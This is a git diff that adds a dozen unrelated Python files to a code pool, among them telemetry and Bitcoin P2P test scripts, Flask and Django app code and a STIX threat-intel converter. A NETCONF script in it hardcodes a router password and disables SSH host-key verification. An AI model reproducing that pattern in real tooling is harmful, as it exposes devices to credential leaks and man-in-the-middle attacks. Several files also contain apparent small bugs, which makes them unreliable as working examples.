Server(0, channel="insecure") + secure_server = Server( + 0, + channel="secure", secure=True, certfile=CERTFILE + ) + + server = (insecure_server + secure_server).register(manager) + MakeQuiet().register(server) + watcher.wait("ready") + + Root().register(server) + + f = urlopen(insecure_server.http.base) + s = f.read() + assert s == b"Hello World!" + + f = urlopen(secure_server.http.base, context=SSL_CONTEXT) + s = f.read() + assert s == b"Hello World!" + + server.unregister() + watcher.wait("unregistered") diff --git a/pool/shard009/Python/0082250_signed_survey_response_message.py b/pool/shard009/Python/0082250_signed_survey_response_message.py new file mode 100644 index 0000000000000000000000000000000000000000..330586f14242e3a323b49f537e1cdff3596c0934 --- /dev/null +++ b/pool/shard009/Python/0082250_signed_survey_response_message.py @@ -0,0 +1,78 @@ +# This is an automatically generated file. +# DO NOT EDIT or your changes may be overwritten +import base64 +from xdrlib import Packer, Unpacker + +from ..type_checked import type_checked +from .signature import Signature +from .survey_response_message import SurveyResponseMessage + +__all__ = ["SignedSurveyResponseMessage"] + + +@type_checked +class SignedSurveyResponseMessage: + """ + XDR Source Code:: + + struct SignedSurveyResponseMessage + { + Signature responseSignature; + SurveyResponseMessage response; + }; + """ + + def __init__( + self, + response_signature: Signature, + response: SurveyResponseMessage, + ) -> None: + self.response_signature = response_signature + self.response = response + + def pack(self, packer: Packer) -> None: + self.response_signature.pack(packer) + self.response.pack(packer) + + @classmethod + def unpack(cls, unpacker: Unpacker) -> "SignedSurveyResponseMessage": + response_signature = Signature.unpack(unpacker) + response = SurveyResponseMessage.unpack(unpacker) + return cls( + response_signature=response_signature, + response=response, + ) + + def to_xdr_bytes(self) -> bytes: + packer = Packer() + self.pack(packer) + return packer.get_buffer() + + @classmethod + def from_xdr_bytes(cls, xdr: bytes) -> "SignedSurveyResponseMessage": + unpacker = Unpacker(xdr) + return cls.unpack(unpacker) + + def to_xdr(self) -> str: + xdr_bytes = self.to_xdr_bytes() + return base64.b64encode(xdr_bytes).decode() + + @classmethod + def from_xdr(cls, xdr: str) -> "SignedSurveyResponseMessage": + xdr_bytes = base64.b64decode(xdr.encode()) + return cls.from_xdr_bytes(xdr_bytes) + + def __eq__(self, other: object): + if not isinstance(other, self.__class__): + return NotImplemented + return ( + self.response_signature == other.response_signature + and self.response == other.response + ) + + def __str__(self): + out = [ + f"response_signature={self.response_signature}", + f"response={self.response}", + ] + return f"" diff --git a/pool/shard009/Python/0082251_run_tests.py b/pool/shard009/Python/0082251_run_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..d460c891912554b07e053265075296d1368b247b --- /dev/null +++ b/pool/shard009/Python/0082251_run_tests.py @@ -0,0 +1,185 @@ +# Copyright 2012 The Chromium Authors. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. +import sys + +from telemetry.core import util +from telemetry import decorators +from telemetry.internal.browser import browser_finder +from telemetry.internal.browser import browser_finder_exceptions +from telemetry.internal.browser import browser_options +from telemetry.internal.platform import device_finder +from telemetry.internal.util import command_line +from telemetry.testing import browser_test_case +from telemetry.testing import options_for_unittests + +util.AddDirToPythonPath(util.GetTelemetryThirdPartyDir(), 'typ') + +import typ + + +class RunTestsCommand(command_line.OptparseCommand): + """Run unit tests""" + + usage = '[test_name ...] []' + + def __init__(self): + super(RunTestsCommand, self).__init__() + self.stream = sys.stdout + + @classmethod + def CreateParser(cls): + options = browser_options.BrowserFinderOptions() + options.browser_type = 'any' + parser = options.CreateParser('%%prog %s' % cls.usage) + return parser + + @classmethod + def AddCommandLineArgs(cls, parser, _): + parser.add_option('--repeat-count', type='int', default=1, + help='Repeats each a provided number of times.') + parser.add_option('-d', '--also-run-disabled-tests', + dest='run_disabled_tests', + action='store_true', default=False, + help='Ignore @Disabled and @Enabled restrictions.') + parser.add_option('--exact-test-filter', action='store_true', default=False, + help='Treat test filter as exact matches (default is ' + 'substring matches).') + + typ.ArgumentParser.add_option_group(parser, + "Options for running the tests", + running=True, + skip=['-d', '-v', '--verbose']) + typ.ArgumentParser.add_option_group(parser, + "Options for reporting the results", + reporting=True) + + @classmethod + def ProcessCommandLineArgs(cls, parser, args, _): + # We retry failures by default unless we're running a list of tests + # explicitly. + if not args.retry_limit and not args.positional_args: + args.retry_limit = 3 + + try: + possible_browser = browser_finder.FindBrowser(args) + except browser_finder_exceptions.BrowserFinderException, ex: + parser.error(ex) + + if not possible_browser: + parser.error('No browser found of type %s. Cannot run tests.\n' + 'Re-run with --browser=list to see ' + 'available browser types.' % args.browser_type) + + @classmethod + def main(cls, args=None, stream=None): # pylint: disable=W0221 + # We override the superclass so that we can hook in the 'stream' arg. + parser = cls.CreateParser() + cls.AddCommandLineArgs(parser, None) + options, positional_args = parser.parse_args(args) + options.positional_args = positional_args + cls.ProcessCommandLineArgs(parser, options, None) + + obj = cls() + if stream is not None: + obj.stream = stream + return obj.Run(options) + + def Run(self, args): + possible_browser = browser_finder.FindBrowser(args) + + runner = typ.Runner() + if self.stream: + runner.host.stdout = self.stream + + # Telemetry seems to overload the system if we run one test per core, + # so we scale things back a fair amount. Many of the telemetry tests + # are long-running, so there's a limit to how much parallelism we + # can effectively use for now anyway. + # + # It should be possible to handle multiple devices if we adjust the + # browser_finder code properly, but for now we only handle one on ChromeOS. + if possible_browser.platform.GetOSName() == 'chromeos': + runner.args.jobs = 1 + elif possible_browser.platform.GetOSName() == 'android': + runner.args.jobs = len(device_finder.GetDevicesMatchingOptions(args)) + print 'Running tests with %d Android device(s).' % runner.args.jobs + elif possible_browser.platform.GetOSVersionName() == 'xp': + # For an undiagnosed reason, XP falls over with more parallelism. + # See crbug.com/388256 + runner.args.jobs = max(int(args.jobs) // 4, 1) + else: + runner.args.jobs = max(int(args.jobs) // 2, 1) + + runner.args.metadata = args.metadata + runner.args.passthrough = args.passthrough + runner.args.path = args.path + runner.args.retry_limit = args.retry_limit + runner.args.test_results_server = args.test_results_server + runner.args.test_type = args.test_type + # Always print out test's timing info. + runner.args.timing = True + runner.args.top_level_dir = args.top_level_dir + runner.args.verbose = args.verbosity + runner.args.write_full_results_to = args.write_full_results_to + runner.args.write_trace_to = args.write_trace_to + + runner.args.path.append(util.GetUnittestDataDir()) + + runner.classifier = GetClassifier(args, possible_browser) + runner.context = args + runner.setup_fn = _SetUpProcess + runner.teardown_fn = _TearDownProcess + runner.win_multiprocessing = typ.WinMultiprocessing.importable + try: + ret, _, _ = runner.run() + except KeyboardInterrupt: + print >> sys.stderr, "interrupted, exiting" + ret = 130 + return ret + + +def GetClassifier(args, possible_browser): + def ClassifyTest(test_set, test): + name = test.id() + if (not args.positional_args + or _MatchesSelectedTest(name, args.positional_args, + args.exact_test_filter)): + assert hasattr(test, '_testMethodName') + method = getattr(test, test._testMethodName) # pylint: disable=W0212 + should_skip, reason = decorators.ShouldSkip(method, possible_browser) + if should_skip and not args.run_disabled_tests: + test_set.tests_to_skip.append(typ.TestInput(name, msg=reason)) + elif decorators.ShouldBeIsolated(method, possible_browser): + test_set.isolated_tests.append(typ.TestInput(name)) + else: + test_set.parallel_tests.append(typ.TestInput(name)) + + return ClassifyTest + + +def _MatchesSelectedTest(name, selected_tests, selected_tests_are_exact): + if not selected_tests: + return False + if selected_tests_are_exact: + return any(name in selected_tests) + else: + return any(test in name for test in selected_tests) + + +def _SetUpProcess(child, context): # pylint: disable=W0613 + args = context + if args.device and args.device == 'android': + android_devices = device_finder.GetDevicesMatchingOptions(args) + args.device = android_devices[child.worker_num-1].guid + options_for_unittests.Push(args) + + +def _TearDownProcess(child, context): # pylint: disable=W0613 + browser_test_case.teardown_browser() + options_for_unittests.Pop() + + +if __name__ == '__main__': + ret_code = RunTestsCommand.main() + sys.exit(ret_code) diff --git a/pool/shard009/Python/0082253_execute-rpc.py b/pool/shard009/Python/0082253_execute-rpc.py new file mode 100644 index 0000000000000000000000000000000000000000..cc3a735c7ae960624cba7e4ddc56f8f7087d8414 --- /dev/null +++ b/pool/shard009/Python/0082253_execute-rpc.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python +import logging + +from ncclient import manager +from ncclient.xml_ import * + + +def connect(host, port, user, password): + conn = manager.connect(host=host, + port=port, + username=user, + password=password, + timeout=60, + device_params={'name': 'junos'}, + hostkey_verify=False) + + rpc = new_ele('get-software-information') + + result = conn.rpc(rpc) + logging.info('Hostname: %s', result.xpath('//software-information/host-name')[0].text) + + +if __name__ == '__main__': + LOG_FORMAT = '%(asctime)s %(levelname)s %(filename)s:%(lineno)d %(message)s' + logging.basicConfig(stream=sys.stdout, level=logging.INFO, format=LOG_FORMAT) + + connect('router', 830, 'netconf', 'juniper!') diff --git a/pool/shard009/Python/0082256_account_merge_721.py b/pool/shard009/Python/0082256_account_merge_721.py new file mode 100644 index 0000000000000000000000000000000000000000..4162d09eda1eaa7bd5685a7bf51b721e60c04751 --- /dev/null +++ b/pool/shard009/Python/0082256_account_merge_721.py @@ -0,0 +1,42 @@ +class Solution: + def accountsMerge(self, accounts): + """ + :type accounts: List[List[str]] + :rtype: List[List[str]] + """ + if not accounts: + return [] + + def recur(accounts): + email_dict, merged = {}, [] + count = 0 + for account in accounts: + index_count = count + flag = True + + for email in account[1:]: + if email in email_dict: + index_count = email_dict[email][1] + flag = False + break + + for email in account[1:]: + email_dict[email] = [account[0], index_count] + + if flag: + merged.append([account[0]] + sorted(list(set(account[1:])))) + count += 1 + else: + merged[index_count] = [account[0]] + \ + sorted( + list(set(merged[index_count][1:]) | set(account[1:]))) + + return merged + + res = recur(accounts) + new = recur(res) + while res != new: + res = new + new = recur(res) + + return res diff --git a/pool/shard009/Python/0082257_rand.py b/pool/shard009/Python/0082257_rand.py new file mode 100644 index 0000000000000000000000000000000000000000..4bb58cc97a5e420509c4f705ad932500d1886631 --- /dev/null +++ b/pool/shard009/Python/0082257_rand.py @@ -0,0 +1,69 @@ +#! /usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Random Animation is a basic animation +""" + +from threading import Thread +from time import time +from pylekture.event import Event +import random +from pylekture.animation import Animation + +from PySide6.QtCore import QThread + +current_milli_time = lambda: time() * 1000 + +def random_generator(datatype=float, origin=0, destination=1, duration=1000, grain=10, step=1): + """ + The Random Generator + step every 10 ms (default) + Allow to do several random in a same project / scenario / event + :param target: + """ + start = current_milli_time() + last = start + while (current_milli_time() < (start + duration)): + while (current_milli_time() < last + grain): + pass # wait + last = current_milli_time() + # uniform gives you a floating-point value + if not origin: + origin=0 + if datatype == 'float': + frand = round(random.uniform(origin, destination), precision) + elif datatype == 'int': + frand = round(random.randrange(origin, destination), grain) + else: + print('error - random only works with float or int') + return None + timing = int(last-start) + yield frand, timing + + +class Random(Animation, QThread): + """ + The Random Object + a random is a pseudo random generation + it has + - parameter (parameter.value) + - destination (value) + - duration (milliseconds) + - grain (milliseconds) + """ + def __init__(self, *args, **kwargs): + super(Random, self).__init__(*args, **kwargs) + for key, value in kwargs.items(): + setattr(self, key, value) + self.animation = random_generator(datatype=self.parameter.datatype, origin=self.parameter.value, destination=self.destination, duration=self.duration, grain=self.grain) + self.animation = list(self.animation) + + def __repr__(self): + s = "Random (parameter={parameter}, destination={destination}, duration={duration}, grain={grain}, wait={wait}, post_wait={post_wait})" + return s.format(parameter=self.parameter, + destination=self.destination, + duration=self.duration, + grain=self.grain, + wait=self.wait, + post_wait=self.post_wait) diff --git a/pool/shard009/Python/0082265_abc-invalid-message.py b/pool/shard009/Python/0082265_abc-invalid-message.py new file mode 100644 index 0000000000000000000000000000000000000000..5a7196a25d60a065b41b1c57456ae3b11b945637 --- /dev/null +++ b/pool/shard009/Python/0082265_abc-invalid-message.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python3 +# Copyright (c) 2019 The Bitcoin developers +# Distributed under the MIT software license, see the accompanying +# file COPYING or http://www.opensource.org/licenses/mit-license.php. +"""ABC Invalid Message Test + +Test that invalid messages get rejected and/or ban the sender as expected for +each case. +""" + +import struct + +from test_framework.messages import NODE_NETWORK, msg_version +from test_framework.p2p import P2PInterface, msg_ping +from test_framework.test_framework import BitcoinTestFramework + + +def msg_bad_checksum(connection, original_message): + message_data = bytearray(connection.build_message(original_message)) + + data = original_message.serialize() + i = 0 + i += len(connection.magic_bytes) + i += 12 + i += len(struct.pack(" Root: configured: '{}', actual: '{}'".format(self.__cvsroot, expectedRoot)) + elif actualModule != self.__module: + # Module mismatch counts as switch. + status.add(ScmTaint.switched, + "> Module: configured: '{}', actual: '{}'".format(self.__module, actualModule)) + else: + # Repository matches. + # There is no (easy) local-only way to determine just local changes AND match it against the requested revision. + # We therefore just call 'cvs update' in "don't modify" mode and look what it would change. + # This will contain switched files, local and remote modifications. + try: + commandLine = ['cvs', '-Rnq', 'update', '-dP'] + if self.__rev is None: + commandLine += ['-A'] + else: + commandLine += ['-r', self.__rev] + output = subprocess.check_output(commandLine, + cwd=workDir, + universal_newlines=True, + env=environment, + stderr=subprocess.DEVNULL, + stdin=subprocess.DEVNULL) + except subprocess.CalledProcessError as e: + return ScmStatus(ScmTaint.error, + description="cvs error: '{}' '{}'".format(" ".join(cmdLine), e.output)) + except OSError as e: + return ScmStatus(ScmTaint.error, description="Error calling cvs:" + str(e)) + + # U = updated remotely, clean or missing locally (but can also mean local is on wrong branch) + # P = same, but transferring patch instead of file + # A = added locally + # R = removed locally + # M = modified locally, possibly modified remotely + # C = modified locally and remotely, conflict + # ? = untracked (could be file forgotten to add) + # We therefore interpret every nonempty output as a modification + # (ignoring spurious extra output such as "cvs update: Updating..."). + output = "\n".join(' '+i for i in output.splitlines() if re.match('^[^ ] ', i)) + if output: + status.add(ScmTaint.modified, "> modified:\n"+output) + + return status + + @staticmethod + def _loadFile(name): + try: + with open(name) as f: + return f.read().rstrip('\r\n') + except OSError: + return '' diff --git a/pool/shard009/Python/0082270_error_handlers.py b/pool/shard009/Python/0082270_error_handlers.py new file mode 100644 index 0000000000000000000000000000000000000000..648630b150d88e8d6745b8acf526a87ec616f68a --- /dev/null +++ b/pool/shard009/Python/0082270_error_handlers.py @@ -0,0 +1,145 @@ +# !usr/bin/env python2 +# -*- coding: utf-8 -*- +# +# Licensed under a 3-clause BSD license. +# +# @Author: Brian Cherinka +# @Date: 2017-01-27 14:26:40 +# @Last modified by: Brian Cherinka +# @Last Modified time: 2018-11-12 14:14:41 + +from __future__ import print_function, division, absolute_import +from flask import request, current_app as app +from flask import Blueprint, jsonify, render_template, g +from marvin.utils.db import get_traceback +from marvin.web.extensions import sentry + + +errors = Blueprint('error_handlers', __name__) + + +def make_error_json(error, name, code, data=None): + ''' creates the error json dictionary for API errors ''' + shortname = name.lower().replace(' ', '_') + messages = {'error': shortname, + 'message': error.description if hasattr(error, 'description') else None, + 'status_code': code, + 'traceback': get_traceback(asstring=True)} + if data: + return jsonify({'validation_errors': data}), code + else: + return jsonify({'api_error': messages}), code + + +def make_error_page(app, name, code, sentry=None, data=None, exception=None): + ''' creates the error page dictionary for web errors ''' + shortname = name.lower().replace(' ', '_') + error = {} + error['title'] = 'Marvin | {0}'.format(name) + error['page'] = request.url + error['event_id'] = g.get('sentry_event_id', None) + error['data'] = data + error['name'] = name + error['code'] = code + error['message'] = exception.description if exception and hasattr(exception, 'description') else None + if app.config['USE_SENTRY'] and sentry: + error['public_dsn'] = sentry.client.get_public_dsn('https') + app.logger.error('{0} Exception {1}'.format(name, error)) + return render_template('errors/{0}.html'.format(shortname), **error), code + +# ---------------- +# Error Handling +# ---------------- + + +def _is_api(request): + ''' Checks if the error comes from the api ''' + return request.blueprint == 'api' or 'api' in request.url + + +@errors.app_errorhandler(404) +def page_not_found(error): + name = 'Page Not Found' + if _is_api(request): + return make_error_json(error, name, 404) + else: + return make_error_page(app, name, 404, sentry=sentry, exception=error) + + +@errors.app_errorhandler(500) +def internal_server_error(error): + name = 'Internal Server Error' + if _is_api(request): + return make_error_json(error, name, 500) + else: + return make_error_page(app, name, 500, sentry=sentry, exception=error) + + +@errors.app_errorhandler(400) +def bad_request(error): + name = 'Bad Request' + if _is_api(request): + return make_error_json(error, name, 400) + else: + return make_error_page(app, name, 400, sentry=sentry, exception=error) + + +@errors.app_errorhandler(405) +def method_not_allowed(error): + name = 'Method Not Allowed' + if _is_api(request): + return make_error_json(error, name, 405) + else: + return make_error_page(app, name, 405, sentry=sentry, exception=error) + + +@errors.app_errorhandler(422) +def handle_unprocessable_entity(error): + name = 'Unprocessable Entity' + data = getattr(error, 'data') + if data: + # Get validations from the ValidationError object + messages = data['messages'] + else: + messages = ['Invalid request'] + + if _is_api(request): + return make_error_json(error, name, 422, data=messages) + else: + return make_error_page(app, name, 422, sentry=sentry, data=messages, exception=error) + + +@errors.app_errorhandler(429) +def rate_limit_exceeded(error): + name = 'Rate Limit Exceeded' + if _is_api(request): + return make_error_json(error, name, 429) + else: + return make_error_page(app, name, 429, sentry=sentry, exception=error) + + +@errors.app_errorhandler(504) +def gateway_timeout(error): + name = 'Gateway Timeout' + if _is_api(request): + return make_error_json(error, name, 504) + else: + return make_error_page(app, name, 504, sentry=sentry, exception=error) + + +@errors.app_errorhandler(413) +def entity_too_large(error): + name = 'Request Entity Too Large' + if _is_api(request): + return make_error_json(error, name, 413) + else: + return make_error_page(app, name, 413, sentry=sentry, exception=error) + + +@errors.app_errorhandler(409) +def conflict(error): + name = 'Conflict' + if _is_api(request): + return make_error_json(error, name, 409) + else: + return make_error_page(app, name, 409, sentry=sentry, exception=error) diff --git a/pool/shard009/Python/0082271_models.py b/pool/shard009/Python/0082271_models.py new file mode 100644 index 0000000000000000000000000000000000000000..5cac5c6f4d936f744c383e5ddc469ac1670024c9 --- /dev/null +++ b/pool/shard009/Python/0082271_models.py @@ -0,0 +1,128 @@ +import os +import json +import re +import logging + +from datetime import datetime + +from django.db import models +from django.db.transaction import commit_on_success +from django.core.files import File +from django.conf import settings + +from articles.models import Attachment +from apps.content.models import Article, SingleImage + + +INDEX_FILE = 'index.html' +META_FILE = 'index.json' +IMAGE_SLOT = '[{%d}]' +rg_image = re.compile(r'') + + +class ImportProxy(models.Model): + """ Marking the articles have been imported from local """ + local_path = models.CharField(max_length=256) + url = models.CharField(max_length=256, blank=True, null=True) + uid = models.CharField(max_length=128, blank=True, null=True) + article = models.ForeignKey(Article, blank=True, null=True, + on_delete=models.SET_NULL) + import_time = models.DateTimeField(default=datetime.now, blank=True, + null=True) + + def open_file(self, path): + """ Return file handler inside local path """ + return open(os.path.join(self.local_path, path), 'rb') + + def add_attachment(self, attach_file, caption=''): + """ Add attach_file to the article """ + file_name = os.path.basename(attach_file.name) + attach = Attachment(article=self.article) + attach.attachment = File(attach_file) + attach.attachment.name = file_name + if len(caption) > 255: + caption = caption[:caption[:250].rfind(' ')] + '...' + attach.caption = caption + attach.save() + return attach.attachment.name + + def make_image_slots(self, content): + """ Convert tags to [{num}] """ + count = 0 + for found in rg_image.findall(content): + content = content.replace(found, IMAGE_SLOT % count) + count += 1 + return content + + def perform_import(self): + """ Create new article base on local files """ + if not os.path.exists(self.local_path): + return False + with self.open_file(META_FILE) as metafile: + self.meta = json.load(metafile) + if self.meta.has_key('type') and self.meta.get('type').lower() == 'image': + self.import_single_image() + else: + self.import_article() + + # Create proxy object + with self.open_file(META_FILE) as metafile: + self.meta = json.load(metafile) + # Update import object + self.uid = self.meta['hash'] + self.url = self.meta['url'] + self.save() + + @commit_on_success + def import_single_image(self): + """ Create new single image base on local files """ + simage = SingleImage( + title=self.meta.get('title')[0], + caption=self.meta.get('description')[0], + author=self.meta.get('credit')[0], + ) + file_name = self.meta.get('extras')[0] + imgfile = self.open_file(file_name) + simage.image = File(imgfile) + simage.image.name = os.path.basename(simage.image.name) + simage.save() + + @commit_on_success + def import_article(self): + """ Create new article base on local files """ + # Load HTML content from local file + index_file = self.open_file(INDEX_FILE) + content = index_file.read() + index_file.close() + + # Create new article + article = Article( + title=''.join(self.meta['title']) or 'Untitled', + description=''.join(self.meta['description']) or '', + keywords=''.join(self.meta['keywords']) or '', + content=content, + use_addthis_button=False, + author_id=1, + addthis_username='', + ) + article.save() + + # Update import object + self.article = article + + # Import attachments/images + images_meta = self.meta.get('images', []) + # Getting file list from directory may cause wrong order when importing + #filelist = os.listdir(self.local_path) + for imeta in images_meta: + at_file = self.open_file(imeta[0]) + self.add_attachment(at_file, caption=imeta[1]['caption']) + at_file.close() + + # update the article content + article.content = self.make_image_slots(content) + article.save() + + def __unicode__(self): + desc = self.article.title if self.article else self.url + return 'Import Proxy: %s' % desc diff --git a/pool/shard009/Python/0082276_6f24b1909959_.py b/pool/shard009/Python/0082276_6f24b1909959_.py new file mode 100644 index 0000000000000000000000000000000000000000..e7787c86916989d9c59aaf4dd90747a45edc4889 --- /dev/null +++ b/pool/shard009/Python/0082276_6f24b1909959_.py @@ -0,0 +1,28 @@ +"""empty message + +Revision ID: 6f24b1909959 +Revises: d66f086b258 +Create Date: 2016-02-04 16:49:57.590066 + +""" + +# revision identifiers, used by Alembic. +revision = '6f24b1909959' +down_revision = 'd66f086b258' + +from alembic import op +import sqlalchemy as sa + + +def upgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.add_column('users', sa.Column('codepostal', sa.String(length=5), nullable=True)) + op.add_column('users', sa.Column('telephone', sa.String(length=15), nullable=True)) + ### end Alembic commands ### + + +def downgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.drop_column('users', 'telephone') + op.drop_column('users', 'codepostal') + ### end Alembic commands ### diff --git a/pool/shard009/Python/0082279_relationship.py b/pool/shard009/Python/0082279_relationship.py new file mode 100644 index 0000000000000000000000000000000000000000..c6ba5ccdc1cc3e4507a749d637a3a6ca6fc47281 --- /dev/null +++ b/pool/shard009/Python/0082279_relationship.py @@ -0,0 +1,142 @@ +"""Visitor producer for STIX Relationship Object. + +import stix2 +from tcex.batch import Batch + +see: https://docs.oasis-open.org/cti/stix/v2.1/csprd01/stix-v2.1-csprd01.html#_Toc16070673 +""" +# standard library +from typing import Iterable, List, Union + +# third-party +import stix2 + +# first-party +from tcex.batch import Batch +from tcex.stix.visitor import Visitor, VisitorProducer + + +class RelationshipVisitor(Visitor): + """Visitor that creates associations between TC objects based on a STIX Relationship.""" + + def __init__(self, target_ref: str, source_ref: str): + """Visitor that creates associations between TC objects based on a STIX Relationship. + + Args: + target_ref: xid of TC object on one side of the association. + source_ref: xid of the TC object on the other side of the association. + """ + super().__init__() + self.target_ref = target_ref + self.source_ref = source_ref + + self.target = None + self.source = None + + self.done = False + + def visit(self, data: Iterable[dict]) -> Iterable[dict]: + """Look for the parsed objects referred to by target_ref and source_ref and associate them. + + Associations an only be group->group or indicator->group. Indicator-indicator associations + are not supported. + + Args: + data: generator of parsed data. + + Yields: + parsed data with associations added. + """ + for d in data: + if self.done: + yield d # get out asap if we're done to reduce overhead. + else: + if d.get('xid') == self.target_ref: + self.target = d + if d.get('xid') == self.source_ref: + self.source = d + + if self.target and self.source: # if we've already found our targets... + if self._is_group(self.target) and self._is_group(self.source): + # both are groups: + self.target.setdefault('associatedGroupXid', []).append( + self.source.get('xid') + ) + self.source.setdefault('associatedGroupXid', []).append( + self.target.get('xid') + ) + elif self._is_group(self.target) and not self._is_group(self.source): + # source is an indicator, target is a group + self.source.setdefault('associatedGroups', []).append( + {'groupXid': self.target.get('xid')} + ) + elif self._is_group(self.source) and not self._is_group(self.target): + # target is an indicator, source is a group + self.target.setdefault('associatedGroups', []).append( + {'groupXid': self.source.get('xid')} + ) + else: + # TODO handle indicator-to-indicator, we can't do that in TC + pass + + self.done = True + + yield self.target + yield self.source + else: + yield d + + @staticmethod + def _is_group(d): + return d.get('name') is not None + + +class Relationship(VisitorProducer): + """Visitor producer for STIX Relationship Object. + + see: https://docs.oasis-open.org/cti/stix/v2.1/csprd01/stix-v2.1-csprd01.html#_Toc16070673 + + Args: + model: StixModel instance to register visitor on. + """ + + def consume(self, stix_data: Union[List[dict], dict]) -> Iterable[Visitor]: + """Register a visitor to create ThreatConnect associations for STIX relationship. + + Args: + stix_data: One or more STIX Relationship objects. + + Yields: + Visitors that will create ThreatConnect Associations based on a STIX Relationship. + """ + if not isinstance(stix_data, list): + stix_data = [stix_data] + + for data in stix_data: + yield RelationshipVisitor(data.get('target_ref'), data.get('source_ref')) + + def produce(self, tc_data: Union[list, dict]) -> Iterable[Visitor]: + """Yield visitors that will apply relationship objects to a Stream of STIX data. + + Args: + tc_data: the ThreatConnect data to produce Relationships based on. + + Yields: + Visitors that will create STIX Relationship objects. + """ + if not isinstance(tc_data, list): + tc_data = [tc_data] + + for data in tc_data: + associations = data.pop('associations', []) + for association in associations: + source_xid = Batch.generate_xid([data.get('summary'), data.get('ownerName')]) + target_xid = Batch.generate_xid( + [association.get('summary'), association.get('ownerName')] + ) + + yield stix2.Relationship( + source_ref=f'indicator--{source_xid}', + target_ref=f'indicator--{target_xid}', + relationship_type='uses', + ) diff --git a/pool/shard009/Python/0082290_finder.py b/pool/shard009/Python/0082290_finder.py new file mode 100644 index 0000000000000000000000000000000000000000..e1565a9fc08a9f2847b29488d731406d85aff24b --- /dev/null +++ b/pool/shard009/Python/0082290_finder.py @@ -0,0 +1,142 @@ +# Bulletproof Arma Launcher +# Copyright (C) 2016 Lukasz Taczuk +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License version 3 as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +from __future__ import unicode_literals + +# TODO: Ensure correct handling of directory loops! + +import os +import re +import string + +from kivy.logger import Logger +from third_party.arma import Arma +from utils import walker +from utils.unicode_helpers import casefold +from sync.torrent_utils import path_can_be_a_mod, path_already_used_for_mod + + +def keep_meaningful_data(name): + """Return the name after it has been changed to lowercase and stripped of + all letters that are not latin characters or digits or '@'. + This is done for a pseudo-fuzzy comparison where "@Kunduz, Afghanistan" and + "@Kunduz Afghanistan" will match. + """ + + no_case = casefold(name) + allowed_chars = string.letters + string.digits + '@' + filtered_name = re.sub('[^{}]'.format(re.escape(allowed_chars)), '', no_case) + + return filtered_name + + +class CaseInsensitiveDict(dict): + """http://stackoverflow.com/questions/2082152/case-insensitive-dictionary""" + @classmethod + def _k(cls, key): + return keep_meaningful_data(key) if isinstance(key, basestring) else key + + def __init__(self, *args, **kwargs): + super(CaseInsensitiveDict, self).__init__(*args, **kwargs) + self._convert_keys() + def __getitem__(self, key): + return super(CaseInsensitiveDict, self).__getitem__(self.__class__._k(key)) + def __setitem__(self, key, value): + super(CaseInsensitiveDict, self).__setitem__(self.__class__._k(key), value) + def __delitem__(self, key): + return super(CaseInsensitiveDict, self).__delitem__(self.__class__._k(key)) + def __contains__(self, key): + return super(CaseInsensitiveDict, self).__contains__(self.__class__._k(key)) + def has_key(self, key): + return super(CaseInsensitiveDict, self).has_key(self.__class__._k(key)) + def pop(self, key, *args, **kwargs): + return super(CaseInsensitiveDict, self).pop(self.__class__._k(key), *args, **kwargs) + def get(self, key, *args, **kwargs): + return super(CaseInsensitiveDict, self).get(self.__class__._k(key), *args, **kwargs) + def setdefault(self, key, *args, **kwargs): + return super(CaseInsensitiveDict, self).setdefault(self.__class__._k(key), *args, **kwargs) + def update(self, E={}, **F): + super(CaseInsensitiveDict, self).update(self.__class__(E)) + super(CaseInsensitiveDict, self).update(self.__class__(**F)) + def _convert_keys(self): + for k in list(self.keys()): + v = super(CaseInsensitiveDict, self).pop(k) + self.__setitem__(k, keep_meaningful_data(v)) + +# Hardcode this list for now. If it grows out of proportion, we'll see at making +# it configurable or downloadable by the launcher (maybe in metadata.json) +MOD_MAPPING = CaseInsensitiveDict({ + '@rhs_afrf3': '@RHSAFRF', + '@rhs_usf3': '@RHSUSAF', + '@EricJ_Taliban': '@TalibanFighters', # Really?!? + '@The_Unsung_Vietnam_War_mod': '@Unsung', + '@FRL - Frontline': '@Frontline', + '@FRL - Frontline IFA Compatibility': '@Frontline_compat_IFA', + '@FRL - Frontline RHS Compatibility': '@Frontline_compat_RHS', +}) + + +def get_mod_locations(): + """Return all the directories to search for existing mods.""" + mod_locations = [] + mod_locations.append(Arma.get_installation_path()) + + return mod_locations + + +def find_mods(mods_directory, names, all_existing_mods, locations=None): + """Find all the places where mods could already be stored on disk. + For now this only does simple name matching and returns directories that + have a name that matches the requested name. The search is case-insensitive. + For efficiency reasons, all mods are searched for at the same time. + + Return a dictionary with as keys and a list of proposed locations as + values. Only mods with found locations are returned. + + Note: windows Junctions and Symlinks are treated as directories, even if + they are broken. If broken, walker.walk(onerror=...) will be called. + Otherwise, walker.walk will enter that directory. + Note2: followlinks=False is IGNORED with windows Junctions and Symlinks! + """ + + + + filtered_names = set(keep_meaningful_data(name) for name in names) + + # inodes_visited = set() # Store the inode of each directory to prevent infinite loops + + Logger.info('Finder: Searching for mods that have already been downloaded on disk: {}'.format(names)) + if locations is None: + locations = get_mod_locations() + + response = {} + + for location in locations: + Logger.info('Finder: Trying {}'.format(location)) + + for root, _, _ in walker.walk(location, topdown=True, followlinks=True): + + filtered_base_root = keep_meaningful_data(os.path.basename(root)) + if filtered_base_root in filtered_names or filtered_base_root in MOD_MAPPING: + # Find the right name in the right case + for name in names: + meaningful_name = keep_meaningful_data(name) + if (meaningful_name == filtered_base_root or + MOD_MAPPING.get(filtered_base_root) == meaningful_name) and \ + path_can_be_a_mod(root, mods_directory): + if not path_already_used_for_mod(root, all_existing_mods): + # response[name].append(root) + response.setdefault(name, []).append(root) + break + + Logger.info('Finder: probable mods locations: {}'.format(response)) + return response diff --git a/pool/shard009/Python/0082291_contact.py b/pool/shard009/Python/0082291_contact.py new file mode 100644 index 0000000000000000000000000000000000000000..c758c7fe124f0f5cf43213f6532ca4ec87c94b06 --- /dev/null +++ 